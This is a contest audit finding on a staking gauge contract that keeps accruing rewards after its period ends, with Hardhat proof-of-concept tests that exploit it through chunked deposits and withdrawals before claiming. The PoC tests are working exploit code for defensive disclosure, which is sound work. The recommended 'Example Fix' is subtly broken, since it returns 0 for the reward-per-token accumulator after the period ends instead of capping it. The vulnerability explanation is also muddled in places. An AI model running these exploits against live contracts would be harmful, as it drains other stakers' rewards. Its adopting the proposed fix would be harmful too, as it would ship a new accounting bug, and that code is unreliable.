Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Unbounded Reward Accrual After Period End Enables Reward Manipulation Attacks

Summary

The current implementation of the earned function allows rewards to continue accruing even after the reward period has ended. This occurs because getRewardPerToken() is always even calculated when lastTimeRewardApplicable == periodFinish, leading to an ever-increasing earned reward value. This behavior opens multiple attack vectors that allow users to extract more rewards than intended.

Vulnerability Details

Affected Code:

The issue stems from the getRewardPerToken() function:

function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}

Since lastTimeRewardApplicable() continues returning periodFinish, the subtraction (lastTimeRewardApplicable() - lastUpdateTime) keeps adding new rewards indefinitely. This results in several exploit scenarios:

POC

  1. Reward Chunking Attack

    • Users can deposit small amounts after the 7-day reward period to double their rewards after each deposit.

describe("Reward accrual After 30 days instead of 7", () => {
beforeEach(async function () {
this.timeout(120000); // Increase timeout to 120 seconds to avoid test failures due to execution delays.
// Mint reward tokens to the staking contract
await rewardToken.mint(await baseGauge.getAddress(), ethers.parseEther("10000"));
// Set the maximum emission limit before distributing rewards
await baseGauge.setEmission(ethers.parseEther("10000"));
// Set initial voting weights and enable rewards distribution
await gaugeController.connect(user1).vote(await baseGauge.getAddress(), 5000);
// Mint tokens for user1 to stake
await rewardToken.mint(user1.address, ethers.parseEther("10000"));
// Approve the staking contract to spend user1's tokens
await rewardToken.connect(user1).approve(await baseGauge.getAddress(), ethers.parseEther("10000"));
// User1 stakes 10,000 tokens
await baseGauge.connect(user1).stake(ethers.parseEther("10000"));
// Notify the contract about a reward amount of 1,000 tokens
await baseGauge.notifyRewardAmount(ethers.parseEther("1000"));
});
it.only("should allow reward chunking", async () => {
const user3 = (await ethers.getSigners())[3]; // Get user3 from signers
// Mint 11,000 tokens for user3
await rewardToken.mint(user3.address, ethers.parseEther("11000"));
// Approve the staking contract to spend tokens for user3
await rewardToken.connect(user3).approve(await baseGauge.getAddress(), ethers.parseEther("2000"));
// User3 stakes 2,000 tokens
await baseGauge.connect(user3).stake(ethers.parseEther("2000"));
// Move blockchain time forward by 30 days to accumulate rewards
await time.increase(30 * DAY);
// Get earned rewards for user3 before further staking
const earnedBefore = await baseGauge.earned(user3.address);
console.log("User 3 rewards before any additional stake:", earnedBefore.toString());
for (let i = 1; i <= 3; i++) {
// Approve and stake an additional 10 tokens
await rewardToken.connect(user3).approve(await baseGauge.getAddress(), ethers.parseEther("10"));
await baseGauge.connect(user3).stake(ethers.parseEther("10"));
// Get earned rewards after each staking event
const earnedAfter = await baseGauge.earned(user3.address);
console.log(`User 3 rewards after staking ${i * 10} additional tokens:`, earnedAfter.toString());
}
});
});
  1. Withdrawal Before Claiming to Inflate Rewards

  • Users can withdraw before claiming to increase their rewards artificially.

  • Test case:

it.only("Users withdraw before claiming to inflate rewards", async () => {
const user3 = (await ethers.getSigners())[3];
await rewardToken.mint(user3.address, ethers.parseEther("10000"));
await rewardToken.mint(user2.address, ethers.parseEther("10000"));
await rewardToken.connect(user3).approve(await baseGauge.getAddress(), ethers.parseEther("10000"));
await rewardToken.connect(user2).approve(await baseGauge.getAddress(), ethers.parseEther("10000"));
await baseGauge.connect(user2).stake(ethers.parseEther("10000"));
// Move time forward by 30 days to allow rewards to accrue
await time.increase(30 * DAY);
const earned = await baseGauge.earned(user1.address);
const earned3 = await baseGauge.earned(user3.address);
// User 3 withdraws their staked tokens before claiming rewards
await baseGauge.connect(user3).withdraw(ethers.parseEther("1000"));
expect(earned).to.be.gt(0);
console.log("Total Supply:", (await baseGauge.totalSupply()).toString());
console.log("User 1 Rewards:", earned.toString());
const earned2 = await baseGauge.earned(user3.address);
console.log("user 3 if they didn't withdraw before claiming", earned3.toString());
console.log("User 3 Rewards:", earned2.toString());
});

Impact

  1. Users can claim rewards beyond the intended distribution.

  2. There's discrepancy between the earned reward and claimed rewards. claimed reward is higher

  3. Users can deposit or withdraw strategically to amplify rewards.

  4. Reward chunking allows continuous exploitation beyond the reward period. If user chunks deposit, they can essentially increase their reward 2x each time they add small deposits

Tools Used

  • Manual Review

Recommendations

  1. Modify getRewardPerToken() to ensure lastTimeRewardApplicable() does not return a value past periodFinish.

  2. Introduce a condition to stop reward calculation after periodFinish.

Example Fix:

function getRewardPerToken() public view returns (uint256) {
if (block.timestamp >= periodFinish) {
return 0;
}
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge sets user's lastUpdateTime to uncapped block.timestamp while global lastUpdateTime uses capped lastTimeRewardApplicable(), generating reward calc inconsistencies after period ends

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge sets user's lastUpdateTime to uncapped block.timestamp while global lastUpdateTime uses capped lastTimeRewardApplicable(), generating reward calc inconsistencies after period ends

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.